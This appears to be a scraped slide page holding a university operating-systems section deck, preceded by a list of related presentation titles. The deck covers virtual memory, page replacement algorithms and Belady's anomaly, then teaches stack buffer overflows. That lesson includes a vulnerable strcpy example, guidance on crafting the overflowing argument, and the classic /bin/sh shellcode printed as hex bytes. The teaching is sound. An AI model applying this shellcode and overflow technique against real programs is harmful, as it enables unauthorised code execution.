Webserver w/user threads

Slides:



Advertisements
Similar presentations
9.4 Page Replacement What if there is no free frame?
Advertisements

4.4 Page replacement algorithms
Chapter 101 The LRU Policy Replaces the page that has not been referenced for the longest time in the past By the principle of locality, this would be.
Chapter 4 Memory Management Page Replacement 补充:什么叫页面抖动?
Buffer Overflow Prabhaker Mateti Wright State University.
Smashing the Stack for Fun and Profit
1 Virtual Memory Management B.Ramamurthy. 2 Demand Paging Main memory LAS 0 LAS 1 LAS 2 (Physical Address Space -PAS) LAS - Logical Address.
Stack-Based Buffer Overflows Attacker – Can take over a system remotely across a network. local malicious users – To elevate their privileges and gain.
Gabe Kanzelmeyer CS 450 4/14/10.  What is buffer overflow?  How memory is processed and the stack  The threat  Stack overrun attack  Dangers  Prevention.
Stack buffer overflow.
CS 153 Design of Operating Systems Spring 2015 Lecture 19: Page Replacement and Memory War.
Stack buffer overflow
Chapter 101 Virtual Memory Chapter 10 Sections and plus (Skip:10.3.2, 10.7, rest of 10.8)
Buffer Overflow By: John Quach and Napoleon N. Valdez.
Beyond Stack Smashing: Recent Advances in Exploiting Buffer Overruns Jonathan Pincus Microsoft Research Brandon Baker Microsoft Carl Hartung CSCI 7143:
Buffer Overflow. Process Memory Organization.
Paging Algorithms Vivek Pai / Kai Li Princeton University.
Memory Management Virtual Memory Page replacement algorithms
CSI 400/500 Operating Systems Spring 2009 Lecture #9 – Paging and Segmentation in Virtual Memory Monday, March 2 nd and Wednesday, March 4 th, 2009.
1 CSE451 – Section 7. 2 Usual stuff Project 3 will be due Monday the 27 th Experiment design to TAs: By midnight on Sunday the 19th Today: Project.
Virtual Memory Management B.Ramamurthy. Paging (2) The relation between virtual addresses and physical memory addres- ses given by page table.
1 Virtual Memory Management B.Ramamurthy Chapter 10.
Chapter 4 Memory Management 4.1 Basic memory management 4.2 Swapping
1 Usual stuff Project 2 back today Average: 66.8/80 Today: Project 3 A few project 2 comments.
Slide 12-1 Copyright © 2004 Pearson Education, Inc. Operating Systems: A Modern Perspective, Chapter Virtual Memory.
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
Memory Management From Chapter 4, Modern Operating Systems, Andrew S. Tanenbaum.
Lecture 6: Buffer Overflow CS 436/636/736 Spring 2014 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
UNIVERSITY OF SOUTH CAROLINA Department of Computer Science and Engineering Stack allocation and buffer overflow CSCE 531 Presentation by Miao XU
Let’s look at an example I want to write an application that reports the course scores to you. Requirements: –Every student can only get his/her score.
Page Replacement Algorithms Memory Management. Optimal Page Replacement ▪The label for each page in memory is labeled with the number of instructions.
Smashing the Stack Overview The Stack Region Buffer Overflow
Overflows & Exploits. In the beginning 11/02/1988 Robert Morris, Jr., a graduate student in Computer Science at Cornell, wrote an experimental, self-replicating,
Lecture 8: Buffer Overflow CS 436/636/736 Spring 2013 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
Lecture 11 Page 1 CS 111 Online Virtual Memory A generalization of what demand paging allows A form of memory where the system provides a useful abstraction.
What is exactly Exploit writing?  Writing a piece of code which is capable of exploit the vulnerability in the target software.
A Tool for Pro-active Defense Against the Buffer Overrun Attack D. Bruschi, E. Rosti, R. Banfi Presented By: Warshavsky Alex.
Silberschatz, Galvin and Gagne ©2013 Operating System Concepts Essentials – 9 th Edition Chapter 9: Virtual-Memory Management.
Memory Management & Virtual Memory © Dr. Aiman Hanna Department of Computer Science Concordia University Montreal, Canada.
Buffer overflow and stack smashing attacks Principles of application software security.
操作系统原理 OPERATING SYSTEM Chapter 3 Memory Management 内存管理.
CSE 451: Operating Systems Section 9: Storage; networks.
Virtual Memory The address used by a programmer will be called a virtual address or logical address. An address in main memory is called a physical address.
Information Security - 2. A Stack Frame. Pushed to stack on function CALL The return address is copied to the CPU Instruction Pointer when the function.
CSE Four Fiddy One Section 7 Kurtis Heimerl Aaron Kimball
CSE 451: Operating Systems Section 7: Project 2b; Virtual Memory.
1 Memory Management Adapted From Modern Operating Systems, Andrew S. Tanenbaum.
Silberschatz, Galvin and Gagne ©2011 Operating System Concepts Essentials – 8 th Edition Chapter 9: Virtual Memory.
CS 3204 Operating Systems Godmar Back Lecture 18.
COS 318: Operating Systems Virtual Memory Paging.
Virtual Memory What if program is bigger than available memory?
Let’s look at an example
Chapter 9: Virtual Memory – Part I
Demand Paging Reference Reference on UNIX memory management
Section 10: Last section! Final review.
CNT4704: Computer Networking Special Topic: Buffer Overflow I: Attack Introduction Cliff Zou Fall 2009.
Lecture 10: Buffer Manager and File Organization
Demand Paging Reference Reference on UNIX memory management
Lecture 35: Review for Midterm 2
Lecture 40 Syed Mansoor Sarwar
Chapter 9: Virtual Memory
Demand Paged Virtual Memory
Lecture 9: Buffer Overflow*
Practical Session 8, Memory Management 2
CNT4704: Analysis of Computer Communication Network Special Topic: Buffer Overflow I: Attack Introduction Cliff Zou Fall 2011.
Project 3 Virtual memory trace analysis
Lecture 9: Caching and Demand-Paged Virtual Memory
Practical Session 9, Memory Management continues
CSE 542: Operating Systems
Presentation transcript:

CSE Four Fiddy One – Section 7 Project 2 hints VM (process memory, buffer overrun attacks)

Webserver w/user threads Use pthreads for Web server-related parts (parts 4 and 6) We won’t test sioux with user threads

Project 2 – questions?

Virtual Memory (quick recap) Physical memory Process’ VM: Another process Disk (Inspired from wikipedia)

Virtual Memory (quick recap) Process’ Page table Physical memory Process’ VM: Another process page frame # Disk

Virtual Memory (quick recap) Process’ Page table Physical memory Process’ VM: Another process page frame # Disk How can we use paging to set up sharing of memory between two processes?

Process Memory Organization 0x00000000 Code TEXT Initialized/uninitialized global/static variables static int a = 3; DATA Heap char* buff = (char*)malloc(…) 1. 2. Just declare variables on the stack in order and look at their addresses. 3. 0x00000000 to 0xBFFFFFFF is the USER SEGMENT, 0xC0000000 to 0xFFFFFFFF is the KERNEL SEGMENT. This is the only segmentation Linux uses. STACK What goes here? Program stack 0xBFFFFFFF In figure, stack grows downwards, but it’s not necessary How can you determine the direction in which stack grows? What is in the address range 0xC0000000 to 0xFFFFFFFF?

Page Replacement Algorithms What you are NOT doing this quarter: Project 3 - Your job: Replacement Algorithms Given: random You need to write: FIFO LRU Clock One of your choice A few possibilities: True LRU (e.g. via storing full timestamp) Variations on LRU Clock (enhanced second-chance, etc) LFU/MFU Your own! You can write more than 3 if your experiment focuses on replacement algorithms. So we are going to go over some of these instead.

Page Replacement Algorithms FIFO (First in/first out) Replace the oldest page with the one being paged in Not very good in practice, suffers from Belady’s Anomaly Second-Chance (Modified FIFO) FIFO, but skip referenced pages VAX/VMS used this Random Duh Better than FIFO! NFU (Not Frequently Used) Replace the page used the least number of times Better variation: Aging ensures that pages that have not been used for a while go away. NRU (Not Recently Used) Replace a page not used since last clock cycle LRU (Least Recently Used) Replace the least recently used page Works well but expensive to implement. (More efficient variants include LRU-K) LRU Clock (Modified LRU) Replace the least recently used page, with a hard limit on the max time since used Clairvoyant Replace the page that’s going to be needed farthest in the future. Linux 2.4 kernel uses NFU w/Aging http://www.surriel.com/system/files/linux24-vm-freenix01.pdf

Example of Belady’s Anomaly Page Requests 321032432104

Example (Page Faults in Red) 3 frames Frame 1 Frame 2 Frame 3 3 2 1 4 9 Page Faults

Example (Page Faults in Red) 4 frames Frame 1 Frame 2 Frame 3 Frame 4 3 2 1 4 10 Page Faults

Stack Overflow Attacks

Example What does the process’ memory look like for the following code: void foo(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { foo(1,2,3); We’re here w/ execution Program stack Global variables Heap Code Draw on board Example taken from “Smashing The Stack For Fun And Profit ”

How would you smash the stack? buffer2 3 words buffer1 2 words SFP 1 word RET 1 word a 1 word b 1 word 1 word c Bottom of stack (0xBFFFFFFF) Word size (4B)

Buffer overflows What’s the bug? void foo(char* str) { char buffer[5]; strcpy(buffer, str); } void main() { char large_string[256]; … foo(large_string); Example taken from “Smashing The Stack For Fun And Profit ”

The stack contents buffer SFP RET *str void foo(char* str) { Small addr void foo(char* str) { char buffer[5]; strcpy(buffer, str); } void main(int argc, char* argv[]) { … foo(argv[1]); buffer SFP RET *str Large addr

The stack contents What cmd-line argument should attacker provide? Small addr void foo(char* str) { char buffer[5]; strcpy(buffer, str); } void main(int argc, char* argv[]) { foo(argv[1]); What cmd-line argument should attacker provide? - Length? - Contents? buffer SFP RET 8 + 4 + 4 (here address of next byte) + size of malicious code (e.g., shell code -- ) *str Large addr

Shell code Program to bring up a shell: If you de-assemble, you get: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } If you de-assemble, you get: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” "\x80\xe8\xdc\xff\xff\xff/bin/sh";

More information Smashing The Stack For Fun And Profit, Aleph One: http://www.cs.washington.edu/education/courses/cse599g/CurrentQtr/stack.txt